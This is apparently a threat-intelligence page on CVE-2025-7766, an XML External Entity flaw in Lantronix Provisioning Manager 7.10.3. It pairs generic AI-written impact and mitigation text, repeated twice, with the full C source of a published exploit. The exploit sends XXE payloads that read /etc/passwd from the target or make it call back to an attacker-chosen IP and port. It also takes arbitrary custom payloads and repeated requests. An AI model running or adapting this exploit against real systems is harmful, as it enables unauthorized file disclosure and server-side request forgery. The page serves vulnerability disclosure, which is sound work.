Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
AI Analysis
Technical Summary
The Lantronix Provisioning Manager 7.10.3 is affected by an XML External Entity (XXE) injection vulnerability. XXE vulnerabilities arise when XML parsers process external entities within XML input without proper restrictions, allowing attackers to read local files, perform server-side request forgery (SSRF), or cause denial of service by exhausting resources. In this case, the vulnerability exists in the XML handling component of the provisioning manager software, which is used to configure and manage networked devices. Exploit code written in C has been published, enabling attackers to craft malicious XML payloads that trigger the XXE flaw. This can lead to unauthorized disclosure of sensitive configuration files or internal network information, potentially facilitating further attacks. The lack of a vendor patch at the time of disclosure means organizations must rely on configuration changes to mitigate risk. The medium severity rating reflects the balance between the potential impact and the complexity of exploitation, which does not require authentication but does require the ability to send crafted XML data to the vulnerable service. The vulnerability is particularly concerning for environments where provisioning managers have elevated privileges or access to sensitive device configurations.
Potential Impact
For European organizations, exploitation of this XXE vulnerability could lead to unauthorized access to sensitive configuration data, exposing internal network architecture or credentials. This could facilitate lateral movement or further compromise of critical infrastructure. Additionally, denial of service conditions could disrupt device provisioning workflows, impacting operational continuity. Industries such as telecommunications, manufacturing, and critical infrastructure that rely on Lantronix Provisioning Manager for device management are at heightened risk. The confidentiality and availability impacts could result in regulatory compliance issues under GDPR if personal or sensitive data is exposed. The medium severity indicates that while the threat is serious, it requires some level of access to the provisioning interface, limiting the attack surface to organizations with exposed or poorly segmented management networks.
Mitigation Recommendations
Organizations should immediately review and harden XML parser configurations within Lantronix Provisioning Manager to disable external entity processing and DTDs. Network segmentation should be enforced to restrict access to the provisioning manager interface to trusted administrators only. Monitoring and logging of XML input to detect anomalous or malformed requests can provide early warning of exploitation attempts. Until an official patch is released, consider deploying web application firewalls (WAFs) with custom rules to block XML payloads containing external entity declarations. Regularly check for vendor updates and apply patches promptly once available. Conduct security assessments and penetration tests focusing on XML input handling to identify residual risks. Finally, educate administrators about the risks of XXE and the importance of secure configuration management.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy
Indicators of Compromise
- exploit-code: /* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #include<unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define FULL_URL 3000 #define SIZE_PAYLOAD 4000 const char *yourIp = NULL; const char *url = NULL ; int yourPort = 0; int selecetCookie = 0; int verbose = 0; int loop = 0; int selectPayload = 0; const char *yourPayload = NULL; char full[FULL_URL]; int requestPayload = 0; const char *cookies = NULL; void exitSyscall() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void xmlPost(const char *fullUrl, const char *yourIp, int yourPort) { char payload[SIZE_PAYLOAD]; struct Mem response = { NULL, 0 }; if (selectPayload) { int s = snprintf(payload,sizeof(payload),yourPayload); if (s < 0 || s >= sizeof(payload)) { printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n"); exitSyscall(); } } if (requestPayload) { printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n"); printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n"); const char *payloadR = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort); if (r < 0 || r >= sizeof(payload)) { printf("\e[1;31m[-] Error building payloadR\n"); exitSyscall(); } } else { printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n"); const char *autoPayload = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; snprintf(payload, sizeof(payload), autoPayload); } CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exitSyscall(); } response.buffer = NULL; response.len = 0; if (verbose) { printf("\e[1;35m==========================================\e[0m\n"); printf("[+] Cleaning Response...\n"); printf("[+] Response Buffer : %s\n", response.buffer); printf("[+] Response Len : %zu\n", response.len); printf("\e[1;35m==========================================\e[0m\n"); } CURLcode res; if (curl) { curl_easy_setopt(curl, CURLOPT_URL, fullUrl); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(payload)); if (selecetCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); sleep(1); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Referer: http://example.com"); headers =curl_slist_append(headers, "Content-Type: application/xml"); double totalTime; res = curl_easy_perform(curl); if (res == CURLE_OK) { curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime); printf("\e[1;32m[+] Delayed response : %f\n", totalTime ); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Full URl : %s\e[0m\n", full); if (verbose) { printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n"); printf("[+] Post data : %s\n", payload); printf("\e[1;35m-----------------------------------------------------------------\e[0m\n"); } long httpCode= 0 ; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n"); printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort); printf("[+] Http Code (200 < 300) !\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;35m====================================[Response]====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\e[0m\n\n"); const char *keywords[] = { "root:x:0:0", ":/bin/bash", ":/home/", "daemon:x:", "nobody:x:", ":x:1000:", "/usr/sbin/nologin", "sys:x:", "bin:x:", "mail:x:" }; printf("\e[1;34m[+] Check keyword On Response...\e[0m\n"); int numberKeyword = sizeof(keywords) / sizeof(keywords[0]); int found = 0; for (int f = 0; f < numberKeyword; f++) { if (strstr(response.buffer,keywords[f]) != NULL) { printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]); found = 1; } else { found = 0; } } if (found) { printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n"); } else { printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n"); } } else { printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl); if (verbose) { printf("\e[1;35m====================================[Response]====================================\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\n\n"); } } curl_slist_free_all(headers); curl_easy_cleanup(curl); } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); if (verbose) { printf("\e[1;31m[-] Exit Syscall ...\e[0m\n"); } curl_slist_free_all(headers); curl_easy_cleanup(curl); exitSyscall(); } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf ( "\e[1;91m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖\n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▙▌▙▌\n" "\e[1;97m\t Byte Reaper\e[0m\n" ); printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Target Url (full url)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_STRING('i', "ip", &yourIp, "Enter Your IP (Send Requst, Localhost ip...)"), OPT_INTEGER('p', "port", &yourPort, "Enter Number Port (Http Request,Check Vuln...)"), OPT_INTEGER('l', "loop", &loop, "Number of times you send requests"), OPT_STRING('b', "payload", &yourPayload, "Enter Your Payload"), OPT_BOOLEAN('r', "request", &requestPayload, "Payload Send Request in Your Server "), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url || !yourIp || yourPort == 0) { printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u https://ip:port/path -i IP -p PORT\e[0m\n"); printf("\e[1;31m[-] Exit syscall...\e[0m\n"); exitSyscall(); } strncpy(full, url, FULL_URL - 1); full[FULL_URL - 1] = '\0'; in_addr_t value = inet_addr(yourIp); if (value == INADDR_NONE) { printf("\e[1;31m[-] Invalid Ip String !\e[0m\n"); exitSyscall(); } if (yourPort < 1 || yourPort > 65535) { printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n"); exitSyscall(); } if (strncmp(full, "http://", 7) != 0 && strncmp(full, "https://", 8) != 0) { printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n"); exitSyscall(); } if (verbose) { verbose = 1; } if (cookies) { selecetCookie = 1; } if (requestPayload) { requestPayload = 1; } if (loop) { printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n"); printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop); printf("------------------------------------------------------\n"); for (int o = 0; o < loop ; o++) { printf("[%d]: \n", o); xmlPost(full, yourIp,yourPort); printf("------------------------------------------------------\n"); } } if (yourPayload) { selectPayload = 1; } else { xmlPost(full, yourIp,yourPort); } return 0; }
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
Description
Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
AI-Powered Analysis
Technical Analysis
The Lantronix Provisioning Manager 7.10.3 is affected by an XML External Entity (XXE) injection vulnerability. XXE vulnerabilities arise when XML parsers process external entities within XML input without proper restrictions, allowing attackers to read local files, perform server-side request forgery (SSRF), or cause denial of service by exhausting resources. In this case, the vulnerability exists in the XML handling component of the provisioning manager software, which is used to configure and manage networked devices. Exploit code written in C has been published, enabling attackers to craft malicious XML payloads that trigger the XXE flaw. This can lead to unauthorized disclosure of sensitive configuration files or internal network information, potentially facilitating further attacks. The lack of a vendor patch at the time of disclosure means organizations must rely on configuration changes to mitigate risk. The medium severity rating reflects the balance between the potential impact and the complexity of exploitation, which does not require authentication but does require the ability to send crafted XML data to the vulnerable service. The vulnerability is particularly concerning for environments where provisioning managers have elevated privileges or access to sensitive device configurations.
Potential Impact
For European organizations, exploitation of this XXE vulnerability could lead to unauthorized access to sensitive configuration data, exposing internal network architecture or credentials. This could facilitate lateral movement or further compromise of critical infrastructure. Additionally, denial of service conditions could disrupt device provisioning workflows, impacting operational continuity. Industries such as telecommunications, manufacturing, and critical infrastructure that rely on Lantronix Provisioning Manager for device management are at heightened risk. The confidentiality and availability impacts could result in regulatory compliance issues under GDPR if personal or sensitive data is exposed. The medium severity indicates that while the threat is serious, it requires some level of access to the provisioning interface, limiting the attack surface to organizations with exposed or poorly segmented management networks.
Mitigation Recommendations
Organizations should immediately review and harden XML parser configurations within Lantronix Provisioning Manager to disable external entity processing and DTDs. Network segmentation should be enforced to restrict access to the provisioning manager interface to trusted administrators only. Monitoring and logging of XML input to detect anomalous or malformed requests can provide early warning of exploitation attempts. Until an official patch is released, consider deploying web application firewalls (WAFs) with custom rules to block XML payloads containing external entity declarations. Regularly check for vendor updates and apply patches promptly once available. Conduct security assessments and penetration tests focusing on XML input handling to identify residual risks. Finally, educate administrators about the risks of XXE and the importance of secure configuration management.
Affected Countries
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Technical Details
- Edb Id
- 52417
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
/* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #inclu... (13217 more characters)
Threat ID: 68a3d92dad5a09ad00eed701
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 11/11/2025, 2:08:39 AM
Last updated: 11/22/2025, 12:53:17 PM
Views: 73
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